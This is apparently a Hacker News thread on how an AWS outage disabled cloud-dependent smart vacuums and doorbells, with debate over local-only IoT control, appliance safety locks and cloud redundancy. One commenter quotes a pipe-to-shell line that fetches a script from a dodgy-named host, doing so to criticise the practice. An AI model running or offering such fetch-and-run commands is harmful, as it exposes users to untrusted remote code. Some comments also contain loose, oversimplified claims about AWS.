Due to a problem with AWS, many "smart" vacuums or doorbells will stop working
eminetra.com.au
eminetra.com.au
― Philip K. Dick, Ubik
Later he tilted a bit too far in to the psychedelic and spiritual but it’s beautiful when he hits the balance just right.
Harry Shearer's (of The Simpsons fame) LeShow [0] has a recurring segment titled "Smart World" where he catalogs recent news coverage pertaining to IoT/"Smart" device fails, it's amusing.
Non-magic users: collect crystals, call their pet a familiar, draw pentagrams
Magic users:the most magical things I keep in my house are rocks, and I keep a hammer next to them in case they act up
Source: https://twitter.com/TooMany_Monkeys/status/11205616344125849...
> Tech Enthusiasts: Everything in my house is wired to the Internet of Things! I control it all from my smartphone! My smart-house is bluetooth enabled and I can give it voice commands via alexa! I love the future!
> Programmers / Engineers: The most recent piece of technology I own is a printer from 2004 and I keep a loaded gun ready to shoot it if it ever makes an unexpected noise.
[1] https://biggaybunny.tumblr.com/post/166787080920/tech-enthus...
“Security: we put the ‘no’ in ‘innovation’.”
I mean, surely computing power is cheap enough these days that you can build all the intelligence you need into the device for day to day operation and simply use internet connectivity to get updates, such as security patches, and the like?
Maybe the compute side of things could be a pluggable module that could be upgraded independent of the rest of the device if you ever do need more processing power. This would work particularly well for larger devices such as robot vacuum cleaners.
I find it indefensible that some data centre going down in Australia (or wherever) could render something as basic as a doorbell, or even a vacuum cleaner, inoperative.
I work on embedded systems that can not fail when the internet connection fails, and it's bonkers just how much you can accomplish with a <$5 microcontroller or even a <$10 chip running linux. But the tide of the industry is pulling toward remotely hosting as much as possible.
Even if it doesn't strictly need networking, the desire for a companion app, firmware upgrade workflow and/or business desire for surveillance often justify it. Once you have network connectivity for any reason, well, then you're not not going to be phoning home to a surveillance system running in AWS anyway. If you have a companion app, making sure you can get a connection between the phone and device is going to have a fall-back path that runs through your servers because even self-styled techy people don't always understand networking.
Now that your networked device is already sending all the data home anyway, why not do more work serverside? Add in the prevalence of developers that can't be arsed to learn to develop for a microcontroller. Or those that can only get by in the very-handheld embedded environments. Now your design is starting to take shape, and you need to do some more number crunching. Do you invest in learning to leverage esoteric features of your microcontroller? Add a DSP to the BOM? Or just say it's easier to do on the serverside with comparatively infinite processing resources and the ability to rush development because features and bugfixes only require updating servers rather than pushing firmware to the fleet?
ZigBee isn't without its flaws too but at least I can guarantee that the device doesn't require someone's online service to function. I just wish more devices offered it.
Pretty much anything with WiFi in it requires installing some dodgy looking app that requires you sign in with yet another account, and will probably stop working in a few years or when you eventually need to reconfigure your home's WiFi network.
I get the dual benefit of having the “smart” when it works, and pointing and laughing at her when it doesn’t, because I told her so.
They're the most likely thing to be obsolete in the shortest amount of time.
I have a smart TV not connected to the internet, just a HDMI connection to another box. Then I learned that IP-over-HDMI is a thing!
In the very near future this will be even more futile - the TV will have it’s own built-in cellular connection just for telemetry. Anyone who objects will be shouted down as a 5G conspiracy nut, but this is exactly what 5G is designed for.
But it will actually work better with 3/4G because 5Gs range is so short and it would be easy to block with just a little tinfoil.
Also, new IoT technologies use techniques allowing them to operate at a much weaker signal.
But you can always just destroy the antenna.
While it’s in the spec, I’m not aware of a single piece of consumer electronics that actually support it. The standard is an utter failure.
In HDMI 2.1 the wires previously used for Ethernet-over-HDMI are now used for eARC making these two features mutually exclusive.
AFAIU it has no TV tuner, so no air/cable/sat reception, while having full "smarts" with built-in internet and apps.
My next TV is going to be a dumb one with a bespoke HTPC...
edit: oh yeah my letterr "R" key is broken on my 2015 macbook po fom all my refreshing, so sorry fo the typos
The bigger hassle seems to be different zigbee hubs that have varying levels of compatibility, so while you can pair the devices you can't get the data you want.
I've just been down the research rabbit hole, and about to try using zigbee2mqtt to bypass this nonsense (this also then means the only internet connectivity will be through a device you control)
Philips Hue hub talks to diagnostics.meethue.com all the time, and it gets kind of annoying already in the pihole stats.
I was a little surprised, but pleased, to see that Lidl are launching a smart home line this week, which is all ZigBee too - that is definitely not niche either. They even mention the interoperability and privacy as selling points!
The scheduling is pretty handy though. I have half a dozen outside and they turn on / off with dusk / dawn. In addition to that I have them set to go to bright white and 30-50% at night (just enough to keep security cameras in color mode).
In contrast to this we’ve had exactly one Philips Hue fail on us. Also cheerfully replaced for us. None of them have needed resetting and we have about the same # of light fixtures deployed. Probably the most annoying problem is Hue Play’s are prone to coil whine at 100% brightness on on certain scene colors, particularly those involving blue-white (6000K). Resolvable by going < 5000K or dropping to 90% brightness, I haven’t attempted to get warranty replacement for this issue but about 16/22 of my Hue Play’s are affected by the issue.
Integrated with Google Home it’s also common that some % of LIFX bulbs won’t respond to a “turn off all the lights” command, whereas Philips is very good at on/off even when the command involves large numbers of bulbs...
Humans remember negative experiences much stronger than positive ones, and "it just works" isn't really something you tend to notice in the first place. There's a lot of bias here.
You also have to remember the negative externalities of extra e-trash affect everyone, so to read about yet another iot failure, it’s easy for me to continue to trash the whole industry.
All the lights in my house are the philips hue that I bought back in 2013. So far I have replaced 2 only. The last one was coming back on by itself... wierd to replace a lightbulb because it doesn’t want to be turn off...
How did we get here and when will it stop?
You take your right foot out
You put your right foot in
And you shake it all about
You do the hokey pokey
And you turn yourself around
That's how you reset a GE connected lightbulb.
Why would you want it to stop now, when the tech is both amazing _and_ rough around the edges? Better hope development continues and the end-user experience stabilizes to something much better.
Capitalism continuously fails to deliver on its promise of "may the best win, and may all be incentivised to be the best" because companies have found several loopholes in its assumptions - constantly introducing flashy new features so the basic faults don't get the airtime they should, advertising with the best psychological manipulation money can buy, and flooding the market with enough barely distinguishable models that simple decision fatigue gets enough people giving up on research and buying the crappy models unwittingly.
My Hue bridge is on a VLAN that doesn't even have internet access.
Apple has less incentives to spy on you than whoever is running philips hue.
Your printer gets firmware updates from HP, whenever HP wants, right past all your firewalls and vlans and non-routable subnets, in the form of print jobs from your pc.
Also these speakers have only improved over the years through software improvements which would have only been made possible having a connection to the internet.
Happened accidentally for many users.
Not to gloat or enjoy too much schadenfreude, but many of us learnt the lesson in advance because we saw it coming. It may just be because we are old and cynical though.
The fact that so many manufacturers are happy to certify with Alexa and Google, but not HomeKit, tells me a bit about their business models.
I will never buy another TP-Link device. Life is too short to be creating accounts for your smart plugs...
Discussion on HN: https://news.ycombinator.com/item?id=24785175
If the doorbell stops accidentally when Amazon goes down, it can also stop intentionally at Amazon's discretion.
Never have to worry about being a lead in Pacific Heights again!
Anyway, I assume Amazon is already considering what GP proposed. They have a program called Alexa for Residential[2] marketed to property managers who want to put IoT things in apartments.
[1] https://www.cnet.com/news/tenants-win-rights-to-physical-key...
[2] https://www.gizmodo.com.au/2020/09/amazons-alexa-for-landlor...
This was what I meant: http://www.27bslash6.com
He's well worth the read.
I refused to install it and demanded a keycard. People look at me like I’m a freak when I open the door with it.
The charles proxy with custom ssl certificates may help if the certificate is not pinned in the app.
I have an old top-loader, it doesn't care at all (or know) whether the lid is closed.
The grotesqueness aside, I do loath the pendulum swing we have toward safety these days. It's so bad now that it makes things worse in a lot of cases. I have to dick with my phone for navigation (which requires a lot more looking away and danger) because my car won't let press a couple of buttons while it is moving in the name of "safety."
It's actually quite astonishing how, despite the growing chemical and mechanical complexity of household items, most household things are actually quite safe to have around children. It would be quite easy for these things to be actively dangerous, but fortunately a combination of thoughtful design, fear of lawsuits and regulation works to make them safe.
(Also if we're talking in context of white goods, you can't ignore children in the design process, as a good chunk of the target market has them, and the play around where such appliances are deployed.)
Example of mindless nanny-statism: washing machines that you are simply not permitted to open at certain times, period -- not even in case of power outages, component failures, or plumbing emergencies.
I hope you can see the difference. Don't defend shitty engineering. It makes the whole world a worse place to live.
How do you know that by driving by a wreck?
Certainly it will be a far more useful way to guide policy than "You don't know for a fact that all those accidents weren't caused by external events outside the drivers control." however technically true.
There aren't evil driving-fairies nudging people's elbows, and we have manufacturing and inspection regulations to keep the percentage of mechanically unfit vehicles low. That just leaves the drivers themselves holding the primary responsibility in the majority of cases.
These are all things you already knew, which makes the question disingenuous and of questionable ultimate purpose.
How exactly is that my fault?
You make no men to on of environmental factors causing wrecks.
You also make no mention of multi-car wrecks.
Clearly you live in some part of the world with perfect weather?
The original commenter can be reasonably assumed to know which accidents they witnessed could have been influenced by things like weather, and thus are not part of his assertion.
Likewise all the follow-on vehicles in multi-vehicle events are irrelevant. No mention was made because they obviously have no bearing on the observation and point being asserted. Meaning, sure, in addition to a large number of a certain class of accidents he's talking about, there are also a other classes of accidents he's not talking about, so what?
Clearly you live in some part of the world with imperfect schools? Oh was that rude and childish?
Of course not all companies have these locks but some companies put them in as features for worried parents as piece of mind.
Possible... But... Seems to me it's more likely you just run them over.
I do wonder what it does if I pull the plug with the door locked though. I should try it.
My condo has two front-load washers, and I once saw someone start one up, the door lock, and the seal break - so it was spraying water everywhere. These don't have any way to interrupt them, so we got a maintenance guy to unplug it - but the door still didn't unlock, even after plugging it back in. The maintenance guy ended up jerking it open hard (might have broken the lock, don't remember), so the other resident could get their clothes.
I only ever use our top-load washers, which don't have any lock on them.
One of many stories: https://www.channelnewsasia.com/news/asia/child-rescued-afte...
Earlier this year, after a few months of lockdown, I discovered that even car batteries that were in reasonable condition can go completely flat without much warning if the vehicle is only being driven rarely over an extended period. I was aware of the possibility of the small power draw draining the battery over time, but hadn’t expected such a strong effect so soon given I was still driving the car a few miles a couple of times a week.
That was annoying enough, but then it turned out that the alarm system in my car has a backup battery to continue powering the siren in the event that the main battery is disconnected, presumably someone’s idea to stop a thief from silencing the alarm quickly. That backup battery can run the siren for several hours, obviously without reference to where the vehicle is or what time of day or night it is.
Moreover, if you’re unlucky, when you try to unlock the car the failing main battery can have just enough juice in it to trigger whatever condition makes the alarm system think the main battery is being disconnected but without actually disarming the alarm system, thus setting off the siren.
Which you can’t stop without power from the main battery.
Which has just run out.
You may have a bad alternator though, if it's not the battery. It really depends on the car configuration, but it is surprising that even that short trip doesn't recoup the cost of starting.
You can get alternators and batteries that are better at your use case too, work site utes and shuttles often get used like you describe.
With the wisdom of hindsight, I should probably have left a trickle charger on the old battery now and then while it wasn’t getting much long distance driving to keep it charged up. I was just a bit surprised that there was so little warning given the dire state it had apparently reached before the alarm incident.
But of course, the real problem here isn’t that a battery with unusually low usage drained faster than I incorrectly anticipated, it’s that my own car had an alarm going off that I had no reliable way to stop even standing next to it with the key in my hand. Clearly this should never be possible. In fact, I read that a lot of vehicle security systems do have some sort of emergency override for this sort of situation, but I found nothing relevant in the documentation that came with the car, and unfortunately the various suggestions I found online for similar models didn’t work on mine.
I have also had my car stolen. They had the alarm disabled in seconds, and then had all the time in the world to get it running. The only reason I still have that car is because they stalled it in the middle of the street, and the immobiliser kicked back on, so they fled.
That car is now mostly a track car, so it's actually got a pin-locked ECU that I pin in before driving it. No amount of hotwiring would get the ECU to work without that pin. Even still, it would just need to be dragged onto a trailer and I'd never see it again.
Anecdotally, once some modern car batteries die in this way, they fail to hold a charge at all, so classic jump-starting doesn't work. So I only replaced the battery when lockdown was over, to avoid the same problem happening to a new battery.
I ended up having to wedge the door and open it from the inside with a coat hanger.
Apparently the only other way to open the car when the battery has completely failed (as opposed to having charge, but not enough to turn the starter) is to connect jumper cables to the positive lead on the starter motor and the chassis. Of course my jack was in the boot, which I couldn't open since the battery was dead!
I've now attached a wire to the bonnet latch, so if this happens again I can just pull the wire to open it.
The key will turn, but that's it.
Such a happy ending! I’m so glad I read to the end :)
There is probably a mechanical switch somewhere but it might not be documented.
https://github.com/victorqribeiro/rpiapi
https://github.com/victorqribeiro/mychatbot
and I even record some videos of me using this two projects to control a raspberry car with voice controls. None of my friends were interested in it. They all got Alexa or some other assistant. So, eventually I end up putting my projects in the drawer.
But hey, who knows now they would appreciate a custom made solution that doesn't steal your data or infringe your privacy!
Offer people something that works reliable ... and they go for it.
This is not meant as a brag. I think the market is just too small and to truly have anything remotely "intelligent" you basically need to be a coder because there is no better way to tell your system how to behave. Even then it takes few years to iron out special conditions and however small ongoing maintenance.
On the bright side, micro-controllers, sensors and single board computers market blossomed so nicely that it's basically lego blocks if you have basic electronics understanding.
Coders can dive in easily, but I should warn you, an approach of "I like tinkering" will make you much happier than "I want to get this thing done, it will save me time".
THANK YOU! The number of how-tos that start with "curl http://www.dodgy.com/totally_not_evil_I_promise.sh | sh" makes me really uncomfortable.
Edit: The API looks pretty swish too, I might use that in future. Thanks!
I'll probably change it to POST thou.
The biggest issue with this is that some common chat programs and text message providers will request URLs for virus checking or getting image previews.
Using a GET isn't a bad idea but if a random service using your GET url can cause trouble, it is a bad idea. You'd be surprised how often you need to move a URL from a device to another and end up emailing it / texing it / slacking it to myself :D
I use it with TP-Link Kasa smart plugs and Broadlink IR blasters, both of which have usable locale APIs, on an isolated WiFi network with no Internet access (it's harder to turn off the cloud stuff for these kinds of things, but as long as I can block it myself I don't care if they try and fail to connect to the cloud).
Ideally it should let me set up port forwarding on my router to talk to the vacuum from the outside too.
Of course, you should build your own bridge to connect them to (rather than using the bridge of a big tech company).
For Zigbee you can use the Conbee [0] and for Z-Wave you can use the Z-Stick [1] to build your own bridge.
Furthermore, some of the cheaper WiFi devices that are based on the ESP8266 chip can be flashed with a custom firmware called Tasmota [2] to make them cloud-free.
[0]: https://www.phoscon.de/en/conbee2
Devices based on the popular ESP8266 can also frequently be freed from their cloud overlords with community-made firmware [0], [1] and used as proper Intra-o-T devices.
I decided a while back that I would have no part in this Inter-o-T madness and I think it was a good choice.
[0]: https://github.com/arendst/Tasmota
[1]: https://esphome.io/
Heh, just noticed you linked Tasmota as well while I was writing this. Good project, I use it too!
If both the phone and the device are in the same network, they can communicate just fine.
I dumped my Wink Hub for one after they did their bait-and-switch for subscription fees. Never been happier with home automation.
Nah, Internet is great for updates.
The problem, while it doesn't fit a description as slogan-friendly as yours, is the reliance on centralized servers as essential for routine operations rather than just for optional (though potentially important) updates, and this isn’t an engineering problem but a deliberate business decision to enable X-as-a-Service business models (whether paid for via recurring subscription, ongoing user data, or both.)
Actually, that's exactly where their business exists.
I think you're both right.
I'd explain, but it's none of my business.
Ah, hell, why not. You see, he made it his business to point out that the phone-vacuum communication has no business going through Amazon servers, there's simply no need.
Imagine having to fiddle with iptables to use your vacuum. I think I'll just get up and press that button manually...
In a cloud-bullshit-free world, a UPNP-style autodiscovery/port could be useful, perhaps with Urbit-style access control.
The amount of people that do not want any cloud controlled devices is quite significant.
It is also a huge waste of energy to have my device contact Amazon to set a value. Voice interfaces can be nice, but only very few customers seem to be interested. It also adds costs for customer support and you need maintenance on apps and services.
I work in that space, although it is true that IoT is not central to the products, so I don't know about the latest trends. Luckily it is just a feature we like to show of on expositions.
For me a line is crossed if people add security cameras directly connected to vendor networks. If that is allowed I should also be able to install my laser with 100w optical output power and face detection. I have a right to security after all.
AWS has multiple regions, and within a region multiple availability zones. If you are as big as roomba, you should simply have your api's running in more than one region. Then, if us-east-1 goes down (which happens from time to time) your users will not notice (ok, the geeks will because latencies will change)
So yeah, while the underlying problem was an outage of a region of AWS, it's not AWS that failed in this case. People should simply design their applications like AWS is telling them.
What this account is doing is like systematically making fun of all the early flying machines that failed in grotesque ways, until they started working. We shouldn't systematically attack and ridicule any attempt to innovate.
Nowadays (Apple TV, Chromecast, Fire TV etc), you have to create an account with Apple or Google or Amazon just in order to use the device at all, then another account with Netflix, Disney Plus and every other streaming service you are going to use. Did the OS receive an OTA update that you don't like? Tough luck, there's no easy way to avoid those. And don't even think about playing back files that reside on disk, even if you legally own a copy of the movie.
Sometimes "progress" is not the most desirable outcome, at least from the point of view of consumers.
That Twitter account, the way I see it, is anti-dark-patterns, not anti-progress.
When I first started playing with HA a few years ago, I got an internet connected hub, and it eventually occurred to me that every time I walked into a room some server somewhere else was notified before my light came on. What an insane round trip to rely upon!! Some server about 800 miles away just told my lights that I was in my dining room.
Granted it was cool that it happened quickly enough to be useful, but what a dumb thing to rely upon. Add to that the unreliability of comcast and I felt like an idiot complaining that my lights weren't working because of my internet connection.
Now I rely upon zwave2mqtt and the occasional spare time to write my automations in javascript.
It's imperfect, but no company in the world will ever know . And no internet required.
A lot of people are still surprised when they hear that I work in the tech industry, but don't have - and recommend against - "smart"[1] devices in my house. The majority of my appliances are simple and robust without any computers or electronics, have lasted several decades, and will likely continue functioning for many more.
[1] With the exception of a single smartphone which is rooted, not constantly within arms' reach, and kept off most of the time.
The strategy of purchasing long-lasting, simpler devices? Cost saving over the long term and independence.
The purpose of technology is to enhance and improve human interaction. When technology is perfect it is invisible. These smart devices are in a sense anti-technology, they're gadgets that occupy people's time and attention and get in the way.
The only product in the last decade that actually in my opinion is smart is the Kindle (or equivalent ereaders). It's like having a thousand books I can carry around with the weight of one, it lasts forever, I don't need a light to read, and otherwise I can forget that it is technology and actually just read books.
I'm struggling to think of any new tech product from this decade that's really improved general life. I'm not that cynical, there's gotta be something. Maybe modern dashcams?
If I get a smart toaster, such as the Revolution Cooking Smart Toaster, then I'll get a bunch of nifty features: touchscreen controls, notifications on my phone when the slice is toasted, etc. It'll be nice and a lot of fun for a while. Initial experience is great. A year passes. The touchscreen fades. The wi-fi chip doesn't work with my new router. The notifications app doesn't work with my phone's OS upgrades. I'm jealous of the cool new model at my friend's house. I'll be shopping again in the near future.
Instead, I could get a complicated dumb toaster, such as the Panasonic FlashXpress. It's got a ton of buttons that all do different things. Every morning for the next three weeks is going to be an experiment; I'll need to learn the ins-and-outs. Eventually, I can play it like a musical instrument. From there, I'll be able to use it until it dies, probably ten-plus years. The toaster will not be something I think about, really, at all. It's just a tool that sits there and does the job well.
So here's the question. Do you prefer the immediate conveniences of using the latest and greatest, next year be damned? Or do you prefer the long-term convenience of not ever having to think about it?
Result: toast goodness.
I don't need a toaster like this one:
I've never felt the need for more than that, I don't even use the frozen button.
That being said, I there’s still plenty of room for smart appliances that are fault tolerant and degrade gracefully. I agree that most “smart” things on the market today fail to implement either of these features particularly well, but I see no fundamental reason why they couldn’t.
I have adopted the same strategy and have had very good luck with it.
"TV" is an industrial/commercial display (NEC P461). Microwave is a commercial panasonic (NE-12523). Coffemaker is a Technivorm Moccamaster.
In addition to being "dumb" these devices are very well built, are repairable, and last forever.
Well yes - Light switches made in 1900 will probably still work today, but you obviously don't have the features of IoT like toggling it from across the house or turning on multiple light [switches] at once. There's always a trade-off and people seem to want to pay for the convenience, even if it means replacing it in as short as 5-10 years.
I mostly agree with the article's premise, but I would add an exception for when you automate the solution yourself.
You personally no longer need to solve the problem, but in the process of automation you'll have to learn more about the problem then you are likely to learn just through solving it manually.
Pros - convenience
Cons - bad for privacy and security.
I believe the cons outweigh the pros.
The risk of big company doing something evil though is typically one I’ll take.
All of this ignores the added hardware complexity and likelihood of failure
grins
https://www.dictionary.com/browse/mort
> Hunting. the note played on a hunting horn signifying that the animal hunted has been killed.
> Obsolete. death.
Typo relevant to broader conversation. Kinda.
People here need to relax with the exaggerations. This thread is the perfect example of how far away "tech people" are from reality for the average user.
>In fact, the five-hour breakdown was so bad, Amazon couldn't even update its own AWS status dashboard: its red warning icons were stranded, hosted on the broken-down side of the cloud.
Am I the only one who feels like this is kind of a ridiculous conclusion the article makes? I don't know the author's credentials but it feels like a knee-jerk reaction by someone who doesn't know what they are talking about. I'm not aware of any other cloud vendor that doesn't ever have outages, and I'd be even more worried if my vacuum relied on the manufacturers own data centers. I think a better conclusion is for vendors to use redundant cloud regions and availability zones, and for consumers to maybe not buy internet-enabled devices if %0.001 downtime is unacceptable to you.
Archive: https://web.archive.org/web/20201127000008/https://eminetra....
But, it's pretty awesome as well. We are currently out of town for Thanksgiving, and some packages came that we weren't suspecting. We asked one of our friends in the neighborhood to come by our place, and I opened up my garage remotely, and they put it in for us. It super easy and overall awesome.
The failure modes of most IoT stuff are just not worth the "inconvenience" most of them are solving for, especially when it has to do with safety or security things and we know how easily hackable most IoT software is.
Now instead of having your neighbour pick up the package, you can watch them from your garage camera, see them look around your garage for a bit (because of course why wouldn't you), leave, and close the door after them!
Excellent.
1) Neighbor exceeding their access permissions when entering your home.
2) Finding a convenient time to visit your neighbors once you come back (and the delay between coming home and having access to the stuff).
However do note. Avoid us-east-1 if at all possible. Understand that despite the documentation, service control planes do not operate in isolation between availability zones. If you need higher uptime you need to have cross regional deployments. When AWS says a service is global, it actually means us-east-1 :)
I didn't include the ability to clean ones home or the ability for someone to ring your doorbell in that rant because that seemed a little over the top...well...thanks world...you proved me wrong.
And yes, there are technical solutions to this (just add an IoT hub, just add this chipset, etc), but don't forget how cost-driven IoT still is. People want the features of smart devices, but won't pay 5x the cost for it...unless you're Apple making headphones.
IoT is still very much a hack-driven industry. I do 100% agree that the software side is substandard, but until some of these chips get cheaper it's surviving on small margins.
I feel like this community especially, but we in tech tend to forget that everything fails. It is inevitable. We get all riled up about “iot this” and “I never use connected devices that” but honestly I feel like our digital reliability is just as high as the “analog” tooling so many of us proudly retreat to.
Shit fails. Once a month when it happens in a manner like this the HN community gets up in arms like we are the sole arbiters of reason when it comes to technology.
Downvote away :-)
Does my fridge actually need to talk to the internet? Do my lightbulbs? Are the gains from having an addressable coffee maker worth the downsides when things break (or are broken due to security being an afterthought at best) over having a coffee maker that's just a coffee maker?
It's not any different than any other code all of us write on a weekly basis, when you start tacking on unnecessary features and increasing the complexity you will inevitably compromise the stability and simplicity of the features it must have to do its job. It's why the Unix philosophy exists to begin with.
Do you think that big tech and any iot “utility provider” should be held to a higher standard? (Probably IMO)
PS. Didn’t mean to go on an anti HN rant. Love this place. Just seems extra negative to me lately.
B) Devices _need_ power and water (depending on the device). There's no reason my Dyson fan has to talk to an external server to be controlled by an app on my phone, but it does. It's an unnecessary dependency.
Ideally I'd love to see a refrigerator which has VSCode built in. So I can keep my cool and finish my story when those agile daily standup meetings start getting hot.
I have a wood floor and no carpeting. Instead of cleaning a lot, we do all we can to just not let things get dirty/germy, like taking our shoes off near the door.
I spend all my time online but own zero IoT devices. I'm really enjoying some of the comments here, like this one:
Did a sealed vacuum with a HEPA filter not work?
We kept a hand vac for a time and emptied it and washed the little bag thing immediately after every use. We also tried a few other things.
I'm happy with my wood floors. I don't plan to go back to carpeting.
I've done a lot of "surprising" things, healthwise, over the years and there seems to be no means whatsoever to make people on the internet happy with how I talk about it. No amount of bending over backwards to signal "this was something really, really, ordinary, I swear!!!!!" is ever enough to protect me from people reacting with animosity and I almost never know if it's because they do recognize me and know something about my back story or if it's because they don't recognize me.
For me, it's a no win situation and it's not possible for me to guess what the magic words are that will keep everyone happy and get me out of the corner with the dunce's cap for the crime of not dying years ago from my serious medical condition because I'm so incredibly rude like that.
I didn't respond in frustration. That's one of the issues here. Other people act weird, tell me there's something wrong with how I phrased it, I engage them conversationally and now some other random stranger replies with a comment that can be interpreted to mean I'm merely neurotic and oversensitive.
That boils down to "When other people react weirdly to your prosaic observation, you cannot engage them. You are required to try to somehow rise above it and not speak to them. And when this becomes an entrenched pattern, it's somehow your fault for existing."
That fundamentally doesn't work.
Most of those have nothing to do with carpet or furniture. And it’s hard to imagine that whatever a vacuum does to kick them up is worse for you than just breathing them in all the time and disturbing them when you walk.
But really, that’s a case for a robot vacuum because it can eliminate the stuff when you’re not there.
I'm telling you from firsthand experience that I don't have a lot of dust and my health is better these days and I don't own a vacuum. I'm not asking you to give up your vacuum.
If you want citations supporting the idea that vacuums can spread germs and particulates, here's one:
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3811220/
If you want to continue to imply that I'm wrong to choose to live without a vacuum cleaner, I'm done. That's out of bounds for debate. It's a personal choice.
Best of all, it's much less dusty than a carpeted house, since the floor isn't covered with a giant magnet for dust and crumbs.
https://www.theverge.com/2017/3/2/14792442/amazon-s3-outage-...
[..] On Tuesday morning, members of the S3 team were debugging the billing system. As part of that, the team needed to take a small number of servers offline. “Unfortunately, one of the inputs to the command was entered incorrectly and a larger set of servers was removed than intended,” Amazon said. “The servers that were inadvertently removed supported two other S3 subsystems.”
The subsystems were important. One of them “manages the metadata and location information of all S3 objects in the region,” Amazon said. Without it, services that depend on it couldn’t perform basic data retrieval and storage tasks.[..]
[..] While S3 was down, a variety of other Amazon web services stopped functioning, including Amazon’s Elastic Compute Cloud (EC2), which is also popular with internet companies that need to rapidly expand their storage.
Amazon said S3 was designed to be able to handle losing a few servers. What it had more trouble handling was the massive restart. “S3 has experienced massive growth over the last several years and the process of restarting these services and running the necessary safety checks to validate the integrity of the metadata took longer than expected,” the company said.[..]
And this!!
[..] It’s also making a change to the AWS Service Health Dashboard. During the outage, the dashboard embarrassingly showed all services running green, because the dashboard itself was dependent on S3. The next time S3 goes down, the dashboard should function properly, the company said.[..]
Oh, and CockroachDB.
"It had been a bad idea from the start, back in 1982, to operate every mechanism from a central source. Of course, the basic idea had sounded good: with the ozone layer burned off, too many people were behaving irrationally, and it had become necessary to solve the problem by some electronic means immune from the mind-slushing ultra violet radiation now flooding earth. Mr. Computer had, at the time, seemed to be the answer. But, sad to say, Mr. Computer had absorbed too much freaked-out input from its human builders and therefore, like them, Mr. Computer had its own psychotic episodes."
1. It's fine, when you buy a smart or connected device, you want the extra features, and you consciously accept that connection issues will impact your products. This is similar to the way electricity issues will impact products that require electricity, and products like a kettle can be offered in electrical and non-electrical versions.
2. It's not fine, it is not clear that internet/service issues will impact your product, and the more people buy these the more it'll become a thing, impacting everybody else. Products that can afford it (like a doorbell) should be made to work even when services are down.
It’s connected via Apple TV 4K, which I can easily upgrade whenever I want.
I have Lutron Caséta in-wall smart switches which communicate with their hub. Not a single delay or bug in 8 years. And they are intuitive for non-techies to use. It’s just a light switch.
I also have some Philips Hue for accent lighting. It frequently fails to respond.
I think HomeKit is better because it at least has to pass Apple’s certification process for some minimum bar of quality.
It’s also nice that all HomeKit stuff works through the ControlCentre app. You can 100% avoid ALL manufacturer-specific apps for daily use.
It's like a dumb panel because I didn't connect to wifi or plug in anything but my PCs video card.
I'm thinking of getting various HomeKit compatible plug/switches/sensors and am trying to figure out what the communications path is.
Then I remembered seeing a news article earlier in the day about an AWS outage and connected the dots.
I 1) am appalled that connection loss is not dealt with correctly, and 2) did not expect it to stop functioning completely without internet as it does not require a cloud subscription.
As SaaS, Cloud Providers, and Other Tech companies solidify their necessity for the function of everything else... aka centralization around 4-5 tech companies which their infrastructure literally runs everything else.
It only stands to make us more and more vulnerable as a society.
It's like having one power station powering the entire electrical grid, monumentally stupid.
And no, smart home is convenient even for normal houses.
...from my cold dead hands.
That's the only thing which comes to my mind when I read the headline.
I know that empathy is a problem in tech, but this thread is something else...
Certainly you are able to imagine smart devices that work locally without the need of an external server.
Also, the people making the imperfect solution are definitely less mean than the Nelson-wannabe bullies.
What a world...
If my smart plug and my phone are on the same WiFi there's no good reason why they can't communicate without a go-between.
My mum saw this news, and asked me "Did this affect your client's IoT system, Peter?" Here's my reply.
Cloud computing is just somebody else's computer. https://xkcd.com/908/
Amazon sells time on their computers, and calls the service "AWS". Actually, Amazon have 24 computers•. https://aws.amazon.com/about-aws/global-infrastructure/
One of their computers is called US-east-1. That is the one that broke. The other Amazon computers (e.g. EU-west-1 in Ireland, AP-northeast-1 in Tokyo) were all fine.
Some of our programs run on AWS, but we are using the computer in Sydney (AP-southeast-2). So our services weren't affected. Only the people using US-east-1 were affected. This is the default computer for many people in the US. Even big companies like Google and Facebook sometimes use AWS computers.
We also use DigitalOcean's computers for some other clients. That's like AWS but cheaper and slower. I helped copy files from one computer to another. That's called "DevOps".
Peter
• Technically it's a huge server farm with many computers, but they all have the same basic inputs and outputs: power [0], Internet access, air conditioning. Anything in the same physical location could be affected by earthquakes, fires [1], power cuts, Internet connections going offline, etc. This is why daddy likes to keep an off-site backup, for safety. The government spies on people by seeing what is happening on Amazon's computers. Wikileaks [2] has more detailed information about who is doing the spying in each place (usually a company around the corner).
[0] https://www.carolinajournal.com/news-article/amazons-wind-fa...
[1] https://www.datacenterknowledge.com/archives/2015/01/09/fire...
It's worth noting different AZs within the same region are supposedly architected to have their own redundant power and Internet connectivity. AFAIK a single fire shouldn't take out more than one, either.
If a region-wide outage is caused by any of those things, it's because something else isn't working as expected. And this region has had region-wide issues before.
Still, boiling cloud computing down to "somebody else's computer" is an oversimplification I see too often from cynical techies. It's like calling a restaurant "somebody else's kitchen." Yeah, it is. But it's missing the point to frame it that way.
That's almost the equivalent of sayin "People Can't Vacuum or Use Their Doorbell Because their electric company's power line is down."
And BTW not every blackout can be solved with a generator. For instance a city-wide blackout, in regard to streetlamps etc. Also, not everyone can install a generator. Not every landlord allows a generator etc etc. Even if you had a city-specific generator, that can just as well fail. Now, if your not concerned with a backup system failing you shouldn't need to be concerned with Amazon's system failing as they also have multiple backup systems in place.
I hope I never have a toaster that's too stupid to count to 4 minutes without connecting to a lambda.
Just realized I wasn't clear what comments I was referring to when I wrote I don't understand their issue.
For many cases of reliability, mechanical > wired > wireless > cloud.